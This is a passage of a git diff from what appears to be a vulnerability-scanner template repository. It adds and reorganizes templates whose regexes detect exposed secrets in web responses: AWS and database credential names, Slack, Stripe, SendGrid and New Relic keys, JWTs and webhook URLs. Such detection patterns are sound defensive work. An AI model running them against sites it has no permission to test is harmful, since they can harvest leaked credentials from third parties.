+ - "(?i)digitalocean[_-]?ssh[_-]?key[_-]?ids(=| =|:| :)"
+ - "(?i)digitalocean[_-]?ssh[_-]?key[_-]?body(=| =|:| :)"
+ - "(?i)digitalocean[_-]?access[_-]?token(=| =|:| :)"
+ - "(?i)dgpg[_-]?passphrase(=| =|:| :)"
+ - "(?i)deploy[_-]?user(=| =|:| :)"
+ - "(?i)deploy[_-]?token(=| =|:| :)"
+ - "(?i)deploy[_-]?secure(=| =|:| :)"
+ - "(?i)deploy[_-]?password(=| =|:| :)"
+ - "(?i)ddgc[_-]?github[_-]?token(=| =|:| :)"
+ - "(?i)ddg[_-]?test[_-]?email[_-]?pw(=| =|:| :)"
+ - "(?i)ddg[_-]?test[_-]?email(=| =|:| :)"
+ - "(?i)db[_-]?username(=| =|:| :)"
+ - "(?i)db[_-]?user(=| =|:| :)"
+ - "(?i)db[_-]?pw(=| =|:| :)"
+ - "(?i)db[_-]?password(=| =|:| :)"
+ - "(?i)db[_-]?host(=| =|:| :)"
+ - "(?i)db[_-]?database(=| =|:| :)"
+ - "(?i)db[_-]?connection(=| =|:| :)"
+ - "(?i)datadog[_-]?app[_-]?key(=| =|:| :)"
+ - "(?i)datadog[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)database[_-]?username(=| =|:| :)"
+ - "(?i)database[_-]?user(=| =|:| :)"
+ - "(?i)database[_-]?port(=| =|:| :)"
+ - "(?i)database[_-]?password(=| =|:| :)"
+ - "(?i)database[_-]?name(=| =|:| :)"
+ - "(?i)database[_-]?host(=| =|:| :)"
+ - "(?i)danger[_-]?github[_-]?api[_-]?token(=| =|:| :)"
+ - "(?i)cypress[_-]?record[_-]?key(=| =|:| :)"
+ - "(?i)coverity[_-]?scan[_-]?token(=| =|:| :)"
+ - "(?i)coveralls[_-]?token(=| =|:| :)"
+ - "(?i)coveralls[_-]?repo[_-]?token(=| =|:| :)"
+ - "(?i)coveralls[_-]?api[_-]?token(=| =|:| :)"
+ - "(?i)cos[_-]?secrets(=| =|:| :)"
+ - "(?i)conversation[_-]?username(=| =|:| :)"
+ - "(?i)conversation[_-]?password(=| =|:| :)"
+ - "(?i)contentful[_-]?v2[_-]?access[_-]?token(=| =|:| :)"
+ - "(?i)contentful[_-]?test[_-]?org[_-]?cma[_-]?token(=| =|:| :)"
+ - "(?i)contentful[_-]?php[_-]?management[_-]?test[_-]?token(=| =|:| :)"
+ - "(?i)contentful[_-]?management[_-]?api[_-]?access[_-]?token[_-]?new(=| =|:| :)"
+ - "(?i)contentful[_-]?management[_-]?api[_-]?access[_-]?token(=| =|:| :)"
+ - "(?i)contentful[_-]?integration[_-]?management[_-]?token(=| =|:| :)"
+ - "(?i)contentful[_-]?cma[_-]?test[_-]?token(=| =|:| :)"
+ - "(?i)contentful[_-]?access[_-]?token(=| =|:| :)"
+ - "(?i)consumerkey(=| =|:| :)"
+ - "(?i)consumer[_-]?key(=| =|:| :)"
+ - "(?i)conekta[_-]?apikey(=| =|:| :)"
+ - "(?i)coding[_-]?token(=| =|:| :)"
+ - "(?i)codecov[_-]?token(=| =|:| :)"
+ - "(?i)codeclimate[_-]?repo[_-]?token(=| =|:| :)"
+ - "(?i)codacy[_-]?project[_-]?token(=| =|:| :)"
+ - "(?i)cocoapods[_-]?trunk[_-]?token(=| =|:| :)"
+ - "(?i)cocoapods[_-]?trunk[_-]?email(=| =|:| :)"
+ - "(?i)cn[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)cn[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)clu[_-]?ssh[_-]?private[_-]?key[_-]?base64(=| =|:| :)"
+ - "(?i)clu[_-]?repo[_-]?url(=| =|:| :)"
+ - "(?i)cloudinary[_-]?url[_-]?staging(=| =|:| :)"
+ - "(?i)cloudinary[_-]?url(=| =|:| :)"
+ - "(?i)cloudflare[_-]?email(=| =|:| :)"
+ - "(?i)cloudflare[_-]?auth[_-]?key(=| =|:| :)"
+ - "(?i)cloudflare[_-]?auth[_-]?email(=| =|:| :)"
+ - "(?i)cloudflare[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)cloudant[_-]?service[_-]?database(=| =|:| :)"
+ - "(?i)cloudant[_-]?processed[_-]?database(=| =|:| :)"
+ - "(?i)cloudant[_-]?password(=| =|:| :)"
+ - "(?i)cloudant[_-]?parsed[_-]?database(=| =|:| :)"
+ - "(?i)cloudant[_-]?order[_-]?database(=| =|:| :)"
+ - "(?i)cloudant[_-]?instance(=| =|:| :)"
+ - "(?i)cloudant[_-]?database(=| =|:| :)"
+ - "(?i)cloudant[_-]?audited[_-]?database(=| =|:| :)"
+ - "(?i)cloudant[_-]?archived[_-]?database(=| =|:| :)"
+ - "(?i)cloud[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)clojars[_-]?password(=| =|:| :)"
+ - "(?i)client[_-]?secret(=| =|:| :)"
+ - "(?i)cli[_-]?e2e[_-]?cma[_-]?token(=| =|:| :)"
+ - "(?i)claimr[_-]?token(=| =|:| :)"
+ - "(?i)claimr[_-]?superuser(=| =|:| :)"
+ - "(?i)claimr[_-]?db(=| =|:| :)"
+ - "(?i)claimr[_-]?database(=| =|:| :)"
+ - "(?i)ci[_-]?user[_-]?token(=| =|:| :)"
+ - "(?i)ci[_-]?server[_-]?name(=| =|:| :)"
+ - "(?i)ci[_-]?registry[_-]?user(=| =|:| :)"
+ - "(?i)ci[_-]?project[_-]?url(=| =|:| :)"
+ - "(?i)ci[_-]?deploy[_-]?password(=| =|:| :)"
+ - "(?i)chrome[_-]?refresh[_-]?token(=| =|:| :)"
+ - "(?i)chrome[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)cheverny[_-]?token(=| =|:| :)"
+ - "(?i)cf[_-]?password(=| =|:| :)"
+ - "(?i)certificate[_-]?password(=| =|:| :)"
+ - "(?i)censys[_-]?secret(=| =|:| :)"
+ - "(?i)cattle[_-]?secret[_-]?key(=| =|:| :)"
+ - "(?i)cattle[_-]?agent[_-]?instance[_-]?auth(=| =|:| :)"
+ - "(?i)cattle[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)cargo[_-]?token(=| =|:| :)"
+ - "(?i)cache[_-]?s3[_-]?secret[_-]?key(=| =|:| :)"
+ - "(?i)bx[_-]?username(=| =|:| :)"
+ - "(?i)bx[_-]?password(=| =|:| :)"
+ - "(?i)bundlesize[_-]?github[_-]?token(=| =|:| :)"
+ - "(?i)built[_-]?branch[_-]?deploy[_-]?key(=| =|:| :)"
+ - "(?i)bucketeer[_-]?aws[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)bucketeer[_-]?aws[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)browserstack[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)browser[_-]?stack[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)brackets[_-]?repo[_-]?oauth[_-]?token(=| =|:| :)"
+ - "(?i)bluemix[_-]?username(=| =|:| :)"
+ - "(?i)bluemix[_-]?pwd(=| =|:| :)"
+ - "(?i)bluemix[_-]?password(=| =|:| :)"
+ - "(?i)bluemix[_-]?pass[_-]?prod(=| =|:| :)"
+ - "(?i)bluemix[_-]?pass(=| =|:| :)"
+ - "(?i)bluemix[_-]?auth(=| =|:| :)"
+ - "(?i)bluemix[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)bintraykey(=| =|:| :)"
+ - "(?i)bintray[_-]?token(=| =|:| :)"
+ - "(?i)bintray[_-]?key(=| =|:| :)"
+ - "(?i)bintray[_-]?gpg[_-]?password(=| =|:| :)"
+ - "(?i)bintray[_-]?apikey(=| =|:| :)"
+ - "(?i)bintray[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)b2[_-]?bucket(=| =|:| :)"
+ - "(?i)b2[_-]?app[_-]?key(=| =|:| :)"
+ - "(?i)awssecretkey(=| =|:| :)"
+ - "(?i)awscn[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)awscn[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)awsaccesskeyid(=| =|:| :)"
+ - "(?i)aws[_-]?ses[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)aws[_-]?ses[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)aws[_-]?secrets(=| =|:| :)"
+ - "(?i)aws[_-]?secret[_-]?key(=| =|:| :)"
+ - "(?i)aws[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)aws[_-]?secret(=| =|:| :)"
+ - "(?i)aws[_-]?key(=| =|:| :)"
+ - "(?i)aws[_-]?config[_-]?secretaccesskey(=| =|:| :)"
+ - "(?i)aws[_-]?config[_-]?accesskeyid(=| =|:| :)"
+ - "(?i)aws[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)aws[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)aws[_-]?access(=| =|:| :)"
+ - "(?i)author[_-]?npm[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)author[_-]?email[_-]?addr(=| =|:| :)"
+ - "(?i)auth0[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)auth0[_-]?api[_-]?clientsecret(=| =|:| :)"
+ - "(?i)auth[_-]?token(=| =|:| :)"
+ - "(?i)assistant[_-]?iam[_-]?apikey(=| =|:| :)"
+ - "(?i)artifacts[_-]?secret(=| =|:| :)"
+ - "(?i)artifacts[_-]?key(=| =|:| :)"
+ - "(?i)artifacts[_-]?bucket(=| =|:| :)"
+ - "(?i)artifacts[_-]?aws[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)artifacts[_-]?aws[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)artifactory[_-]?key(=| =|:| :)"
+ - "(?i)argos[_-]?token(=| =|:| :)"
+ - "(?i)apple[_-]?id[_-]?password(=| =|:| :)"
+ - "(?i)appclientsecret(=| =|:| :)"
+ - "(?i)app[_-]?token(=| =|:| :)"
+ - "(?i)app[_-]?secrete(=| =|:| :)"
+ - "(?i)app[_-]?report[_-]?token[_-]?key(=| =|:| :)"
+ - "(?i)app[_-]?bucket[_-]?perm(=| =|:| :)"
+ - "(?i)apigw[_-]?access[_-]?token(=| =|:| :)"
+ - "(?i)apiary[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)api[_-]?secret(=| =|:| :)"
+ - "(?i)api[_-]?key[_-]?sid(=| =|:| :)"
+ - "(?i)api[_-]?key[_-]?secret(=| =|:| :)"
+ - "(?i)api[_-]?key(=| =|:| :)"
+ - "(?i)aos[_-]?sec(=| =|:| :)"
+ - "(?i)aos[_-]?key(=| =|:| :)"
+ - "(?i)ansible[_-]?vault[_-]?password(=| =|:| :)"
+ - "(?i)android[_-]?docs[_-]?deploy[_-]?token(=| =|:| :)"
+ - "(?i)anaconda[_-]?token(=| =|:| :)"
+ - "(?i)amazon[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)amazon[_-]?bucket[_-]?name(=| =|:| :)"
+ - "(?i)alicloud[_-]?secret[_-]?key(=| =|:| :)"
+ - "(?i)alicloud[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)alias[_-]?pass(=| =|:| :)"
+ - "(?i)algolia[_-]?search[_-]?key[_-]?1(=| =|:| :)"
+ - "(?i)algolia[_-]?search[_-]?key(=| =|:| :)"
+ - "(?i)algolia[_-]?search[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)algolia[_-]?api[_-]?key[_-]?search(=| =|:| :)"
+ - "(?i)algolia[_-]?api[_-]?key[_-]?mcm(=| =|:| :)"
+ - "(?i)algolia[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)algolia[_-]?admin[_-]?key[_-]?mcm(=| =|:| :)"
+ - "(?i)algolia[_-]?admin[_-]?key[_-]?2(=| =|:| :)"
+ - "(?i)algolia[_-]?admin[_-]?key[_-]?1(=| =|:| :)"
+ - "(?i)adzerk[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)admin[_-]?email(=| =|:| :)"
+ - "(?i)account[_-]?sid(=| =|:| :)"
+ - "(?i)access[_-]?token(=| =|:| :)"
+ - "(?i)access[_-]?secret(=| =|:| :)"
+ - "(?i)access[_-]?key[_-]?secret(=| =|:| :)"
diff --git a/exposed-tokens/generic/general-tokens.yaml b/exposures/tokens/generic/general-tokens.yaml
similarity index 79%
rename from exposed-tokens/generic/general-tokens.yaml
rename to exposures/tokens/generic/general-tokens.yaml
index 2fbd5e12ea..142665eae3 100644
--- a/exposed-tokens/generic/general-tokens.yaml
+++ b/exposures/tokens/generic/general-tokens.yaml
@@ -2,19 +2,15 @@ id: generic-tokens
info:
name: Generic Tokens
- author: nadino
+ author: nadino,geeknik
severity: info
+ tags: exposure,token
requests:
- method: GET
path:
- '{{BaseURL}}'
-# Notes:-
-# This template requires manual inspection once found valid match.
-# Generic token could be anything matching below regex.
-# Impact of leaked token depends on validation of leaked token.
-
matchers-condition: and
matchers:
- type: dsl
@@ -25,6 +21,16 @@ requests:
- regex("SECRET[\\-|_|A-Z0-9]*(\'|\")?(:|=)(\'|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body),"",""))
- regex("AUTHORIZATION[\\-|_|A-Z0-9]*(\'|\")?(:|=)(\'|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body),"",""))
- regex("PASSWORD[\\-|_|A-Z0-9]*(\'|\")?(:|=)(\'|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body),"",""))
+
+ - type: regex
+ part: body
+ regex:
+ - '(?i)key(up|down|press|boardnavigation)'
+ - '(?i)password(lessauth|requirementsashtmllist|emailnotfoundmessage|label|errormessage|message)'
+ - '(?i)keys_(close|previous|next|zoom|play_pause)'
+ condition: or
+ negative: true
+
extractors:
- type: regex
part: body
diff --git a/exposures/tokens/generic/jdbc-connection-string.yaml b/exposures/tokens/generic/jdbc-connection-string.yaml
new file mode 100755
index 0000000000..f339d70ee5
--- /dev/null
+++ b/exposures/tokens/generic/jdbc-connection-string.yaml
@@ -0,0 +1,18 @@
+id: jdbc-connection-string
+
+info:
+ name: JDBC Connection String Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'jdbc:[a-z:]+://[A-Za-z0-9\.\-_:;=/@?,&]+'
\ No newline at end of file
diff --git a/exposures/tokens/generic/jwt-token.yaml b/exposures/tokens/generic/jwt-token.yaml
new file mode 100644
index 0000000000..6d672a5367
--- /dev/null
+++ b/exposures/tokens/generic/jwt-token.yaml
@@ -0,0 +1,18 @@
+id: jwt-token
+
+info:
+ name: JWT Token Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'eyJ[a-zA-Z0-9]{10,}\.eyJ[a-zA-Z0-9]{10,}\.[a-zA-Z0-9_\-]{10,}'
\ No newline at end of file
diff --git a/exposures/tokens/generic/shoppable-token.yaml b/exposures/tokens/generic/shoppable-token.yaml
new file mode 100644
index 0000000000..4a20a97a81
--- /dev/null
+++ b/exposures/tokens/generic/shoppable-token.yaml
@@ -0,0 +1,18 @@
+id: shoppable-token
+
+info:
+ name: Shoppable Service Auth Token
+ author: philippedelteil
+ severity: info
+ references: https://ask.shoppable.com/knowledge/quick-start-api-guide
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ part: body
+ words:
+ - data-shoppable-auth-token
diff --git a/exposed-tokens/google/fcm-server-key.yaml b/exposures/tokens/google/fcm-server-key.yaml
similarity index 55%
rename from exposed-tokens/google/fcm-server-key.yaml
rename to exposures/tokens/google/fcm-server-key.yaml
index b5d0331291..4864fba0a5 100644
--- a/exposed-tokens/google/fcm-server-key.yaml
+++ b/exposures/tokens/google/fcm-server-key.yaml
@@ -2,11 +2,10 @@ id: fcm-server-key
info:
name: FCM Server Key
- author: Abss (@absshax)
+ author: absshax
severity: high
-
- # Reference:- https://abss.me/posts/fcm-takeover
- # FCM Project Credentials
+ tags: exposure,token,google
+ reference: https://abss.me/posts/fcm-takeover
requests:
- method: GET
diff --git a/exposed-tokens/google/google-api-key.yaml b/exposures/tokens/google/google-api-key.yaml
similarity index 70%
rename from exposed-tokens/google/google-api-key.yaml
rename to exposures/tokens/google/google-api-key.yaml
index 54318e396e..5a5c698c54 100644
--- a/exposed-tokens/google/google-api-key.yaml
+++ b/exposures/tokens/google/google-api-key.yaml
@@ -3,12 +3,14 @@ id: google-api-key
info:
name: Google API Key
author: Swissky
- severity: low
+ severity: info
+ tags: exposure,token,google
requests:
- method: GET
path:
- "{{BaseURL}}"
+ - "{{BaseURL}}/hopfully404"
extractors:
- type: regex
diff --git a/exposures/tokens/google/google-calendar-link.yaml b/exposures/tokens/google/google-calendar-link.yaml
new file mode 100755
index 0000000000..42929ac685
--- /dev/null
+++ b/exposures/tokens/google/google-calendar-link.yaml
@@ -0,0 +1,18 @@
+id: google-calendar-link
+
+info:
+ name: Google Calendar URI Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token,google
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'https://www\.google\.com/calendar/embed\?src=[A-Za-z0-9%@&;=\-_\./]+'
\ No newline at end of file
diff --git a/exposures/tokens/google/oauth-access-key.yaml b/exposures/tokens/google/oauth-access-key.yaml
new file mode 100755
index 0000000000..20d29e3b76
--- /dev/null
+++ b/exposures/tokens/google/oauth-access-key.yaml
@@ -0,0 +1,18 @@
+id: google-oauth-access-key
+
+info:
+ name: Google OAuth Access Key Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'ya29\.[0-9A-Za-z\-_]+'
\ No newline at end of file
diff --git a/exposed-tokens/mailchimp/mailchimp-api-key.yaml b/exposures/tokens/mailchimp/mailchimp-api-key.yaml
similarity index 79%
rename from exposed-tokens/mailchimp/mailchimp-api-key.yaml
rename to exposures/tokens/mailchimp/mailchimp-api-key.yaml
index 36bca0caec..624b741ab4 100644
--- a/exposed-tokens/mailchimp/mailchimp-api-key.yaml
+++ b/exposures/tokens/mailchimp/mailchimp-api-key.yaml
@@ -3,7 +3,8 @@ id: mailchimp-access-key-value
info:
name: Mailchimp API Value
author: puzzlepeaches
- severity: medium
+ severity: info
+ tags: exposure,token,mailchimp
requests:
- method: GET
diff --git a/exposures/tokens/microsoft/microsoft-teams-webhook.yaml b/exposures/tokens/microsoft/microsoft-teams-webhook.yaml
new file mode 100755
index 0000000000..0c1015e573
--- /dev/null
+++ b/exposures/tokens/microsoft/microsoft-teams-webhook.yaml
@@ -0,0 +1,17 @@
+id: microsoft-teams-webhook
+
+info:
+ name: Microsoft Teams Webhook Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'https://outlook\.office\.com/webhook/[A-Za-z0-9\-@]+/IncomingWebhook/[A-Za-z0-9\-]+/[A-Za-z0-9\-]+'
\ No newline at end of file
diff --git a/exposures/tokens/newrelic/newrelic-admin-api-key.yaml b/exposures/tokens/newrelic/newrelic-admin-api-key.yaml
new file mode 100644
index 0000000000..aa7894fd4c
--- /dev/null
+++ b/exposures/tokens/newrelic/newrelic-admin-api-key.yaml
@@ -0,0 +1,17 @@
+id: newrelic-admin-api-key
+
+info:
+ name: Admin API Key Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - '(?i)NRAA-[a-f0-9]{27}'
\ No newline at end of file
diff --git a/exposures/tokens/newrelic/newrelic-insights-key.yaml b/exposures/tokens/newrelic/newrelic-insights-key.yaml
new file mode 100644
index 0000000000..cba12248c0
--- /dev/null
+++ b/exposures/tokens/newrelic/newrelic-insights-key.yaml
@@ -0,0 +1,17 @@
+id: newrelic-insights-key
+
+info:
+ name: Insights Keys Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - '(?i)NRI(?:I|Q)-[A-Za-z0-9\-_]{32}'
\ No newline at end of file
diff --git a/exposures/tokens/newrelic/newrelic-rest-api-key.yaml b/exposures/tokens/newrelic/newrelic-rest-api-key.yaml
new file mode 100644
index 0000000000..bef7428807
--- /dev/null
+++ b/exposures/tokens/newrelic/newrelic-rest-api-key.yaml
@@ -0,0 +1,17 @@
+id: newrelic-rest-api-key
+
+info:
+ name: REST API Key Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - '(?i)NRRA-[a-f0-9]{42}'
\ No newline at end of file
diff --git a/exposures/tokens/newrelic/newrelic-synthetics-location-key.yaml b/exposures/tokens/newrelic/newrelic-synthetics-location-key.yaml
new file mode 100644
index 0000000000..d83321fbae
--- /dev/null
+++ b/exposures/tokens/newrelic/newrelic-synthetics-location-key.yaml
@@ -0,0 +1,17 @@
+id: newrelic-synthetics-location-key
+
+info:
+ name: Synthetics Location Key Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - '(?i)NRSP-[a-z]{2}[0-9]{2}[a-f0-9]{31}'
\ No newline at end of file
diff --git a/exposures/tokens/paypal/braintree-access-token.yaml b/exposures/tokens/paypal/braintree-access-token.yaml
new file mode 100755
index 0000000000..fc4e695c66
--- /dev/null
+++ b/exposures/tokens/paypal/braintree-access-token.yaml
@@ -0,0 +1,17 @@
+id: braintree-access-token
+
+info:
+ name: PayPal Braintree Access Token Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'access_token\$production\$[0-9a-z]{16}\$[0-9a-f]{32}'
\ No newline at end of file
diff --git a/exposures/tokens/picatic/picatic-api-key.yaml b/exposures/tokens/picatic/picatic-api-key.yaml
new file mode 100755
index 0000000000..8b3715c156
--- /dev/null
+++ b/exposures/tokens/picatic/picatic-api-key.yaml
@@ -0,0 +1,17 @@
+id: picatic-api-key
+
+info:
+ name: Picatic API Key Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'sk_live_[0-9a-z]{32}'
\ No newline at end of file
diff --git a/exposures/tokens/sendgrid/sendgrid-api-key.yaml b/exposures/tokens/sendgrid/sendgrid-api-key.yaml
new file mode 100644
index 0000000000..9c8b341d5c
--- /dev/null
+++ b/exposures/tokens/sendgrid/sendgrid-api-key.yaml
@@ -0,0 +1,17 @@
+id: sendgrid-api-key
+
+info:
+ name: Sendgrid API Key Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'SG\.[a-zA-Z0-9-_]{22}\.[a-zA-Z0-9_-]{43}'
\ No newline at end of file
diff --git a/exposures/tokens/slack/slack-bot-token.yaml b/exposures/tokens/slack/slack-bot-token.yaml
new file mode 100644
index 0000000000..b41cb2b1b7
--- /dev/null
+++ b/exposures/tokens/slack/slack-bot-token.yaml
@@ -0,0 +1,18 @@
+id: slack-bot-token
+
+info:
+ name: Slack access token
+ author: nadino
+ severity: info
+ tags: exposure,token,slack
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - "xoxb-[0-9A-Za-z\\-]{51}"
\ No newline at end of file
diff --git a/exposures/tokens/slack/slack-user-token.yaml b/exposures/tokens/slack/slack-user-token.yaml
new file mode 100644
index 0000000000..22c41433d5
--- /dev/null
+++ b/exposures/tokens/slack/slack-user-token.yaml
@@ -0,0 +1,18 @@
+id: slack-user-token
+
+info:
+ name: Slack User token disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token,slack
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - "xoxp-[0-9A-Za-z\\-]{72}"
\ No newline at end of file
diff --git a/exposures/tokens/slack/slack-webhook-token.yaml b/exposures/tokens/slack/slack-webhook-token.yaml
new file mode 100755
index 0000000000..aca895be1d
--- /dev/null
+++ b/exposures/tokens/slack/slack-webhook-token.yaml
@@ -0,0 +1,18 @@
+id: slack-webhook-token
+
+info:
+ name: Slack Webhook Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token,slack
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - "https://hooks\\.slack\\.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}"
\ No newline at end of file
diff --git a/exposures/tokens/sonarqube/sonarqube-token.yaml b/exposures/tokens/sonarqube/sonarqube-token.yaml
new file mode 100755
index 0000000000..c9c3704ac9
--- /dev/null
+++ b/exposures/tokens/sonarqube/sonarqube-token.yaml
@@ -0,0 +1,17 @@
+id: sonarqube-token
+
+info:
+ name: SonarQube Token Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - "sonar.{0,50}(?:\"|'|`)?[0-9a-f]{40}(?:\"|'|`)?"
\ No newline at end of file
diff --git a/exposures/tokens/stripe/stripe-restricted-key.yaml b/exposures/tokens/stripe/stripe-restricted-key.yaml
new file mode 100755
index 0000000000..f5e5d5e0cb
--- /dev/null
+++ b/exposures/tokens/stripe/stripe-restricted-key.yaml
@@ -0,0 +1,17 @@
+id: stripe-restricted-key
+
+info:
+ name: Stripe Restricted Key Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'rk_(?:live|test)_[0-9a-zA-Z]{24}'
\ No newline at end of file
diff --git a/exposures/tokens/stripe/stripe-secret-key.yaml b/exposures/tokens/stripe/stripe-secret-key.yaml
new file mode 100755
index 0000000000..59f0d8b8a2
--- /dev/null
+++ b/exposures/tokens/stripe/stripe-secret-key.yaml
@@ -0,0 +1,17 @@
+id: stripe-secret-key
+
+info:
+ name: Stripe Secret Key Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'sk_(?:live|test)_[0-9a-zA-Z]{24}'
\ No newline at end of file
diff --git a/exposures/tokens/zapier/zapier-webhook-token.yaml b/exposures/tokens/zapier/zapier-webhook-token.yaml
new file mode 100755
index 0000000000..635d75e4dd
--- /dev/null
+++ b/exposures/tokens/zapier/zapier-webhook-token.yaml
@@ -0,0 +1,17 @@
+id: zapier-webhook-token
+
+info:
+ name: Zapier Webhook Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'https://(?:www.)?hooks\.zapier\.com/hooks/catch/[A-Za-z0-9]+/[A-Za-z0-9]+/'
\ No newline at end of file
diff --git a/exposures/tokens/zoho/zoho-webhook-token.yaml b/exposures/tokens/zoho/zoho-webhook-token.yaml
new file mode 100755
index 0000000000..0e30c9288e
--- /dev/null
+++ b/exposures/tokens/zoho/zoho-webhook-token.yaml
@@ -0,0 +1,17 @@
+id: zoho-webhook-token
+
+info:
+ name: Zoho Webhook Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'https://creator\.zoho\.com/api/[A-Za-z0-9/\-_\.]+\?authtoken=[A-Za-z0-9]+'
\ No newline at end of file
diff --git a/file/android/adb-backup-enabled.yaml b/file/android/adb-backup-enabled.yaml
new file mode 100644
index 0000000000..2f4a88df0a
--- /dev/null
+++ b/file/android/adb-backup-enabled.yaml
@@ -0,0 +1,16 @@
+id: adb-backup-enabled
+
+info:
+ name: ADB Backup Enabled
+ author: gaurang
+ severity: low
+ tags: android,file
+
+file:
+ - extensions:
+ - all
+
+ matchers:
+ - type: word
+ words:
+ - "android:allowBackup=\"true\""
\ No newline at end of file
diff --git a/file/android/biometric-detect.yaml b/file/android/biometric-detect.yaml
new file mode 100644
index 0000000000..002dcf825a
--- /dev/null
+++ b/file/android/biometric-detect.yaml
@@ -0,0 +1,17 @@
+id: biometric-detect
+
+info:
+ name: Biometric or Fingerprint detect
+ author: gaurang
+ severity: info
+ tags: android,file
+
+file:
+ - extensions:
+ - all
+
+ matchers:
+ - type: word
+ words:
